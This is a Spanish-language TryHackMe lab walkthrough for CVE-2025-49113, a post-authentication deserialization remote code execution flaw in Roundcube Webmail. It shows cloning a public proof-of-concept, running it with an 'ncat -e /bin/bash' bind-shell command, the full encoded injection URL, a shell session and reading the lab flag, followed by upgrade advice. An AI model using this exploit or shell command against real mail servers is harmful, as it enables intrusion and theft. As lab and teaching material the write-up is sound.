TryHackMe - Roundcube
Explota la CVE-2025-49113 en un entorno de laboratorio
Introducción
Esta sala quiere que entendamos cómo funcionan las vulnerabilidades de deserialización. La serialización convierte un objeto (como en PHP, Java o Python) en un formato que podemos almacenar o enviar. La deserialización hace lo contrario, pero si la entrada no se valida correctamente, los atacantes pueden explotarla para ejecutar código malicioso.
Kirill Firsov descubrió una falla de este tipo en Roundcube Webmail. El problema estaba en upload.php, donde el parámetro _from no se validaba de forma segura antes de la deserialización. Los commits de las versiones 1.5.10 y 1.6.11 muestran cómo lo corrigieron: agregando comprobaciones para bloquear caracteres peligrosos en _from.
Nmap
Parece que ya tenemos el enlace exacto y las credenciales para usar, así que no es necesario usar nmap.
Explotación
Visitemos http://10.10.191.67/roundcube como se nos indica.
Se nos presenta el formulario de inicio de sesión de Roundcube:
Usemos las credenciales proporcionadas:
Usuario: ellieptic
Contraseña: ChangeMe123
Vamos a descargar nuestro exploit de prueba de concepto (Proof of Concept).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(rene㉿kali)-[~/tryhackme/roundcube]
└─$ git clone https://github.com/fearsoff-org/CVE-2025-49113
Cloning into 'CVE-2025-49113'...
remote: Enumerating objects: 8, done.
remote: Counting objects: 100% (8/8), done.
remote: Compressing objects: 100% (7/7), done.
remote: Total 8 (delta 1), reused 8 (delta 1), pack-reused 0 (from 0)
Receiving objects: 100% (8/8), 7.33 KiB | 3.67 MiB/s, done.
Resolving deltas: 100% (1/1), done.
┌──(rene㉿kali)-[~/tryhackme/roundcube]
└─$ cd CVE-2025-49113/
┌──(rene㉿kali)-[~/tryhackme/roundcube/CVE-2025-49113]
└─$ ls
CVE-2025-49113.php rc_install.sh README.md
Ejecutando el exploit
Para ejecutar el exploit, necesitamos agregar los argumentos de la siguiente manera:
php CVE-2025-49113.php target_url username password command
Hagámoslo y esperemos a que se ejecute.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
──(rene㉿kali)-[~/tryhackme/roundcube/CVE-2025-49113]
└─$ php CVE-2025-49113.php http://10.10.191.67/roundcube ellieptic ChangeMe123 "ncat -lvnp 4444 -e /bin/bash"
### Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]
### Retrieving CSRF token and session cookie...
### Authenticating user: ellieptic
### Authentication successful
### Command to be executed:
ncat -lvnp 4444 -e /bin/bash
### Injecting payload...
### End payload: http://10.10.191.67/roundcube/?_from=edit-%21%C7%22%C7%3B%C7i%C7%3A%C70%C7%3B%C7O%C7%3A%C71%C76%C7%3A%C7%22%C7C%C7r%C7y%C7p%C7t%C7_%C7G%C7P%C7G%C7_%C7E%C7n%C7g%C7i%C7n%C7e%C7%22%C7%3A%C71%C7%3A%C7%7B%C7S%C7%3A%C72%C76%C7%3A%C7%22%C7%5C%C70%C70%C7C%C7r%C7y%C7p%C7t%C7_%C7G%C7P%C7G%C7_%C7E%C7n%C7g%C7i%C7n%C7e%C7%5C%C70%C70%C7_%C7g%C7p%C7g%C7c%C7o%C7n%C7f%C7%22%C7%3B%C7S%C7%3A%C73%C70%C7%3A%C7%22%C7n%C7c%C7a%C7t%C7+%C7-%C7l%C7v%C7n%C7p%C7+%C74%C74%C74%C74%C7+%C7-%C7e%C7+%C7%2F%C7b%C7i%C7n%C7%2F%C7b%C7a%C7s%C7h%C7%3B%C7%23%C7%22%C7%3B%C7%7D%C7i%C7%3A%C70%C7%3B%C7b%C7%3A%C70%C7%3B%C7%7D%C7%22%C7%3B%C7%7D%C7%7D%C7&_task=settings&_framed=1&_remote=1&_id=1&_uploadid=1&_unlock=1&_action=upload
### Payload injected successfully
### Executing payload...
PHP Warning: file_get_contents(http://10.10.191.67/roundcube/): Failed to open stream: HTTP request failed! in /home/rene/tryhackme/roundcube/CVE-2025-49113/CVE-2025-49113.php on line 237
### Error: CSRF token not found in response body
Podemos ver que apareció un error, pero el comando de netcat sí funcionó y ahora podemos conectarnos y ejecutar comandos:
1
2
3
4
┌──(rene㉿kali)-[~/tryhackme/roundcube/CVE-2025-49113]
└─$ nc 10.10.191.67 4444
pwd
/var/www/html/roundcube
Pregunta: Uno de los usuarios se llama Maggie; ¿cuál es su apellido?
1
2
3
4
5
6
7
8
cd /home
ls
algorithm
ellieptic
maggiebyte
terrybyte
testuser
ubuntu
Answer:
1
Byte
Pregunta: ¿Cuál es el valor de la bandera (flag) guardada en /etc?
1
2
cd /etc
cat flag.txt
Esta vulnerabilidad solo requiere credenciales válidas de webmail y funciona en instalaciones por defecto de Roundcube. Es difícil de detectar porque el tráfico del exploit puede parecer completamente normal. Debido a su gravedad, los usuarios que usen las versiones 1.5.x o 1.6.x deberían actualizar a 1.5.10 o 1.6.11. Si no es posible actualizar, una solución temporal es bloquear el acceso a upload.php.



